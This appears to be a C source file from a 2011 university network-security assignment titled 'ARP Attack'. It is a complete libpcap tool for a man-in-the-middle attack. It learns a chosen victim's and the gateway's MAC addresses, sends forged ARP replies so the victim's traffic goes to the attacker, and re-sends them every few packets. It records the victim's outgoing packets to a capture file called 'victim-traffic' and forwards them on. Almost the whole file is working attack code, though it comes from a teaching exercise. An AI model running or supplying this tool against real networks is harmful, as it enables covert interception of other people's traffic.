
/**
 *
 * Network Security and Management Assignment One Question Two
 * ARP Attack
 *
 * Vistb (C) 2011
 *
 * Assume the MAC layer protocol is Ethernet
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <pcap.h>

#include "ether.h"
#include "ethertype.h"

typedef struct pcap_hdr_s
{
    u_int32_t magic_number;   /* magic number */
    u_int16_t version_major;  /* major version number */
    u_int16_t version_minor;  /* minor version number */
    int32_t  thiszone;        /* GMT to local correction */
    u_int32_t sigfigs;        /* accuracy of timestamps */
    u_int32_t snaplen;        /* max length of captured packets, in octets */
    u_int32_t network;        /* data link type */
} pcap_hdr_t;

typedef struct
{
    struct ether_header eth_header;
    u_int16_t hard_type;
    u_int16_t prot_type;
    u_int8_t hard_size;
    u_int8_t prot_size;
    u_int16_t op;
    u_int8_t src_mac[6];
    u_int32_t src_ip;
    u_int8_t dst_mac[6];
    u_int32_t dst_ip;
} __attribute__((packed)) arp_pkt;

typedef enum
{
    NOT_RUNNING,
    REQUESTING_VICTIM_AND_GATEWAY_MAC,
    POISONNING_VICTIM,
    MONITORING_TRAFFIC,
} status;

#define ARP_RESP_PKT_LEN 60
#define POISON_ARP_MOD 5

status cur_status = NOT_RUNNING;
FILE* fp_pkt = NULL;
unsigned int count_pkt = 0;
unsigned int count_all_pkt = 0;

pcap_t *handle = NULL;
u_int32_t my_ip = 0;
u_int32_t victim_ip = 0;
u_int32_t gateway_ip = 0;
unsigned char my_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char victim_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char gateway_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

/* returns one if two mac equal and zero otherwise */
inline int eql_mac(const u_int8_t src_mac[], const u_int8_t dst_mac[])
{
    int i = 0;
    for (i=0; i<6; ++i)
        if (src_mac[i] != dst_mac[i]) return 0;
    return 1;
}

/* copy mac addr from src to dst, if src mac is NULL, dst mac is ff:ff:ff:ff:ff:ff */
inline void assign_mac(u_int8_t dst_mac[], const u_int8_t src_mac[])
{
    int i = 0;
    for (i=0; i<6; ++i)
        dst_mac[i] = (src_mac!=NULL)?src_mac[i]:0xff;
}

void ctrl_c(int sig)
{
    static int stopped = 0;
    static unsigned char resp_pkt[ARP_RESP_PKT_LEN];

    // be elegant, restore the victim's arp table
    if (!stopped)
    {
        fprintf(stdout, " ctrl-c signal caught, restore victim arp by sending gateway's correct mac \n");

        memset(resp_pkt, 0, ARP_RESP_PKT_LEN);
        arp_pkt* pkt = (arp_pkt*)&resp_pkt;
        assign_mac(pkt->eth_header.ether_dhost, victim_mac);
        assign_mac(pkt->eth_header.ether_shost, gateway_mac);
        pkt->eth_header.ether_type = htons(0x0806);
        pkt->hard_type = htons(1);
        pkt->prot_type = htons(0x0800);
        pkt->hard_size = 0x06;
        pkt->prot_size = 0x04;
        pkt->op = htons(2);
        pkt->src_ip = gateway_ip;
        pkt->dst_ip = victim_ip;
        assign_mac(pkt->src_mac, gateway_mac);
        assign_mac(pkt->dst_mac, victim_mac);

        int sent_size = pcap_inject(handle, pkt, ARP_RESP_PKT_LEN);
        if (sent_size == -1)
            fprintf(stderr, "ERROR: send gateway arp info to victim failure: %s\n", pcap_geterr(handle));
        else if (sent_size != ARP_RESP_PKT_LEN)
            fprintf(stderr, "WARNING: gateway arp info partial send: %d/%d \n", sent_size, ARP_RESP_PKT_LEN);
    }

    // stop the capture
    pcap_breakloop(handle);
    stopped = 1;

    // print info
    fprintf(stdout, "capture now going to stop \n");
}

void pkt_handler(u_char *args, const struct pcap_pkthdr *pkt_header, const u_char *pkt)
{
    struct ether_header* eth_header = (struct ether_header*)pkt;
    static unsigned char resp_pkt[ARP_RESP_PKT_LEN];

    if (cur_status == REQUESTING_VICTIM_AND_GATEWAY_MAC)
    {
        // check if we have victim mac
        if ((unsigned int)0 != victim_mac[0]+victim_mac[1]+victim_mac[2]+victim_mac[3]+victim_mac[4]+victim_mac[5])
        {
            // we already have the victim mac

            // check if we have gateway mac
            if ((unsigned int)0 != gateway_mac[0]+gateway_mac[1]+gateway_mac[2]+gateway_mac[3]+gateway_mac[4]+gateway_mac[5])
            {
                // we already have the gateway mac, print info and change status

                fprintf(stdout, "victim and gateway mac obtained, going to poison victim arp table \n");
                cur_status = POISONNING_VICTIM;
            }
            else
            {
                // we don't have the gateway mac yet

                // check if this packet contains the gateway mac, if not, we send out a arp request
                if (eql_mac(eth_header->ether_dhost, my_mac) &&
                        eth_header->ether_type == htons(0x0806) &&
                        *(u_int32_t*)(pkt+28) == gateway_ip)
                {
                    // update the gateway mac
                    memcpy(gateway_mac, pkt+22, 6);

                    // print out the gateway mac
                    fprintf(stdout, "gateway mac found: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n",
                            gateway_mac[0], gateway_mac[1], gateway_mac[2], gateway_mac[3],
                            gateway_mac[4], gateway_mac[5]);
                }
                else
                {
                    // construct an arp query for gateway mac and send it out

                    arp_pkt pkt;
                    assign_mac(pkt.eth_header.ether_dhost, NULL);
                    assign_mac(pkt.eth_header.ether_shost, my_mac);
                    pkt.eth_header.ether_type = htons(0x0806);
                    pkt.hard_type = htons(1);
                    pkt.prot_type = htons(0x0800);
                    pkt.hard_size = 0x06;
                    pkt.prot_size = 0x04;
                    pkt.op = htons(1);
                    pkt.src_ip = my_ip;
                    pkt.dst_ip = gateway_ip;
                    assign_mac(pkt.src_mac, my_mac);
                    assign_mac(pkt.dst_mac, NULL);

                    int sent_size = pcap_inject(handle, &pkt, sizeof(arp_pkt));
                    if (sent_size == -1)
                        fprintf(stderr, "ERROR: send gateway arp request failure: %s\n", pcap_geterr(handle));
                    else if (sent_size != sizeof(arp_pkt))
                        fprintf(stderr, "WARNING: gateway arp request partial send: %d/%d \n", sent_size, (int)sizeof(arp_pkt));
                }
            }
        }
        else
        {
            // we don't have the victim mac yet

            // check if this packet contains the victim mac, if not, we send out a arp request
            if (eql_mac(eth_header->ether_dhost, my_mac) &&
                    eth_header->ether_type == htons(0x0806) &&
                    *(u_int32_t*)(pkt+28) == victim_ip)
            {
                // update the victim mac
                memcpy(victim_mac, pkt+22, 6);

                // print out the victim mac
                fprintf(stdout, "victim mac found: %.2X:%.2X:%.2X:%.2X:%.2X:%.2X \n",
                        victim_mac[0], victim_mac[1], victim_mac[2], victim_mac[3],
                        victim_mac[4], victim_mac[5]);
            }
            else
            {
                // construct an arp query for victim mac and send it out

                arp_pkt pkt;
                assign_mac(pkt.eth_header.ether_dhost, NULL);
                assign_mac(pkt.eth_header.ether_shost, my_mac);
                pkt.eth_header.ether_type = htons(0x0806);
                pkt.hard_type = htons(1);
                pkt.prot_type = htons(0x0800);
                pkt.hard_size = 0x06;
                pkt.prot_size = 0x04;
                pkt.op = htons(1);
                pkt.src_ip = my_ip;
                pkt.dst_ip = victim_ip;
                assign_mac(pkt.src_mac, my_mac);
                assign_mac(pkt.dst_mac, NULL);

                int sent_size = pcap_inject(handle, &pkt, sizeof(arp_pkt));
                if (sent_size == -1)
                    fprintf(stderr, "ERROR: send victim arp request failure: %s\n", pcap_geterr(handle));
                else if (sent_size != sizeof(arp_pkt))
                    fprintf(stderr, "WARNING: victim arp request partial send: %d/%d \n", sent_size, (int)sizeof(arp_pkt));
            }
        }
    }
    else if (cur_status == POISONNING_VICTIM)
    {
        // construct poisoning arp reply and send it to the victim

        memset(resp_pkt, 0, ARP_RESP_PKT_LEN);
        arp_pkt* pkt = (arp_pkt*)&resp_pkt;
        assign_mac(pkt->eth_header.ether_dhost, victim_mac);
        assign_mac(pkt->eth_header.ether_shost, my_mac);
        pkt->eth_header.ether_type = htons(0x0806);
        pkt->hard_type = htons(1);
        pkt->prot_type = htons(0x0800);
        pkt->hard_size = 0x06;
        pkt->prot_size = 0x04;
        pkt->op = htons(2);
        pkt->src_ip = gateway_ip;
        pkt->dst_ip = victim_ip;
        assign_mac(pkt->src_mac, my_mac);
        assign_mac(pkt->dst_mac, victim_mac);

        int sent_size = pcap_inject(handle, pkt, ARP_RESP_PKT_LEN);
        if (sent_size == -1)
            fprintf(stderr, "ERROR: send poison arp info to victim failure: %s\n", pcap_geterr(handle));
        else if (sent_size != ARP_RESP_PKT_LEN)
            fprintf(stderr, "WARNING: poison arp info partial send: %d/%d \n", sent_size, ARP_RESP_PKT_LEN);

        // open capture file
        fp_pkt = fopen("victim-traffic", "w+b");
        if (!fp_pkt)
            fprintf(stderr, "ERROR: can't create capture file, client traffic won't be saved \n");
        else
        {
            pcap_hdr_t ch;

            ch.magic_number = 0xa1b2c3d4;
            ch.version_major = 2;
            ch.version_minor = 4;
            ch.thiszone = 0;
            ch.sigfigs = 0;
            ch.snaplen = 65535;
            ch.network = 1; // we are using ethernet

            int write_size = 0;
            if ((write_size = fwrite(&ch, sizeof(pcap_hdr_t), 1, fp_pkt)) != 1)
            {
                fprintf(stderr, "ERROR: can't write header to capture file, client traffic won't be saved (%d/1) \n", write_size);
                fclose(fp_pkt);
                fp_pkt = NULL;
            }
        }

        // change the status and print out info
        fprintf(stdout, "going to capture/forward client outgoing traffic \n");
        cur_status = MONITORING_TRAFFIC;
    }
    else if (cur_status == MONITORING_TRAFFIC)
    {
        // check if we need to re-poison victim
        count_all_pkt++;
        if (count_all_pkt%POISON_ARP_MOD == 0)
        {
            memset(resp_pkt, 0, ARP_RESP_PKT_LEN);
            arp_pkt* pkt = (arp_pkt*)&resp_pkt;
            assign_mac(pkt->eth_header.ether_dhost, victim_mac);
            assign_mac(pkt->eth_header.ether_shost, my_mac);
            pkt->eth_header.ether_type = htons(0x0806);
            pkt->hard_type = htons(1);
            pkt->prot_type = htons(0x0800);
            pkt->hard_size = 0x06;
            pkt->prot_size = 0x04;
            pkt->op = htons(2);
            pkt->src_ip = gateway_ip;
            pkt->dst_ip = victim_ip;
            assign_mac(pkt->src_mac, my_mac);
            assign_mac(pkt->dst_mac, victim_mac);

            int sent_size = pcap_inject(handle, pkt, ARP_RESP_PKT_LEN);
            if (sent_size == -1)
                fprintf(stderr, "ERROR: send re-oison arp info to victim failure: %s\n", pcap_geterr(handle));
            else if (sent_size != ARP_RESP_PKT_LEN)
                fprintf(stderr, "WARNING: re-poison arp info partial send: %d/%d \n", sent_size, ARP_RESP_PKT_LEN);
        }

        // check if the src mac is the victim and the dst mac is me
        // also if the pkt is ip pkt, check if the dst of the ip packet is the gateway

        struct ether_header* eth_header = (struct ether_header*)pkt;
        int flag1 = eql_mac(eth_header->ether_shost, victim_mac) &&
                eql_mac(eth_header->ether_dhost, my_mac);
        int flag2 = (eth_header->ether_type != htons(0x0800)) ||
                ((eth_header->ether_type == htons(0x0800)) && (*(u_int32_t*)(pkt+0x1E) != my_ip));

        if (flag1 && flag2)
        {
            // write the pkt header and data into the capture file
            fwrite(pkt_header, sizeof(struct pcap_pkthdr), 1, fp_pkt);
            fwrite(pkt, pkt_header->caplen, 1, fp_pkt);

            // rewrite the pkt and send it into the network
            unsigned char* new_pkt = (unsigned char*)malloc(pkt_header->caplen);
            memcpy(new_pkt, pkt, pkt_header->caplen);
            struct ether_header* new_header = (struct ether_header*)new_pkt;
            assign_mac(new_header->ether_shost, my_mac);
            assign_mac(new_header->ether_dhost, gateway_mac);
            int sent_size = pcap_inject(handle, new_pkt, pkt_header->caplen);
            if (sent_size == -1)
                fprintf(stderr, "ERROR: forward pkt for victim failure: %s\n", pcap_geterr(handle));
            else if (sent_size != pkt_header->caplen)
                fprintf(stderr, "WARNING: forward pkt for victim partial send: %d/%d \n", sent_size, pkt_header->caplen);
            free(new_pkt);

            // increase forward packet count
            count_pkt++;
        }
    }
}

int main(int argc, char* argv[])
{
    char errbuf[PCAP_ERRBUF_SIZE];
    char* dev;

    // clear screen and print out tip info
    system("clear");
    fprintf(stdout, "we assume mac layer is Ethernet! \n");
    fprintf(stdout, "pcab version: %s \n", pcap_lib_version());

    // check if we have enough parameters
    if (argc != 3)
    {
        fprintf(stdout, "please run program with 2 arguments: "
            "net-sec-assign-1-dns victim_ip dev_name \n");
        exit(0);
    }
    else
        fprintf(stdout, "capture traffic from %s using %s \n", argv[1], argv[2]);

    // update device name
    dev = argv[2];

    // update victim ip, my ip, my mac and gateway ip

    victim_ip = inet_addr(argv[1]);
    fprintf (stdout, "victim ip is %s (0x%08X) \n", argv[1], victim_ip);

    int skt;
    struct ifreq skt_buffer;
    skt = socket(PF_INET, SOCK_DGRAM, 0);
    memset(&skt_buffer, 0x00, sizeof(skt_buffer));
    strcpy(skt_buffer.ifr_name, dev);
    if (ioctl(skt, SIOCGIFADDR, &skt_buffer) < 0)
    {
        fprintf(stderr, "ioctl command return negative value when query ip! \n");
        exit(-1);
    }
    else
    {
        my_ip = ((struct sockaddr_in*)&skt_buffer.ifr_addr)->sin_addr.s_addr;
        fprintf (stdout, "my ip is %s (0x%08X) \n",
                inet_ntoa(((struct sockaddr_in*)&skt_buffer.ifr_addr)->sin_addr), my_ip);
    }
    if (ioctl(skt, SIOCGIFHWADDR, &skt_buffer) < 0)
    {
        fprintf(stderr, "ioctl command return negative value when query mac! \n");
        exit(-1);
    }
    else
    {
        int i = 0;
        fprintf(stdout, "my mac is ");
        for (i=0; i<6; i++)
            fprintf(stdout, "%.2X%c", my_mac[i]=skt_buffer.ifr_hwaddr.sa_data[i], i<5?':':'\n');
    }
    FILE* gateway_ip_fp = NULL;
    gateway_ip_fp = popen("route -n | grep '^0\\.0\\.0\\.0' | awk '{print $2}'", "r");
    if (!gateway_ip_fp)
    {
        fprintf(stderr, "unable to get gateway ip! \n");
        exit(-1);
    }
    else
    {
        char gateway_ip_str[20];
        memset(gateway_ip_str, 0, 20);
        fgets(gateway_ip_str, 20, gateway_ip_fp);
        gateway_ip_str[strlen(gateway_ip_str)-1] = 0;
        fprintf (stdout, "gateway ip is %s (0x%08X) \n",
                gateway_ip_str, gateway_ip = ntohl(inet_network(gateway_ip_str)));
        fclose(gateway_ip_fp);
    }
    close(skt);

    // open the session in promiscuous mode
    handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
    if (handle == NULL)
    {
        fprintf(stderr, "couldn't open device %s: %s\n", dev, errbuf);
        exit(-1);
    }

    // associate ctrl-c signal processing
    (void) signal(SIGINT, ctrl_c);

    // let's roll
    fprintf(stdout, "now going to request client and gateway mac \n");
    cur_status = REQUESTING_VICTIM_AND_GATEWAY_MAC;
    pcap_loop(handle, RAND_MAX, pkt_handler, NULL);

    // when monitor finishes, we close the session
    pcap_close(handle);

    // close capture data file
    if (fp_pkt)
        fclose(fp_pkt);

    // print info
    fprintf(stdout, "%d packets captured \n", count_pkt);

    return 0;
}

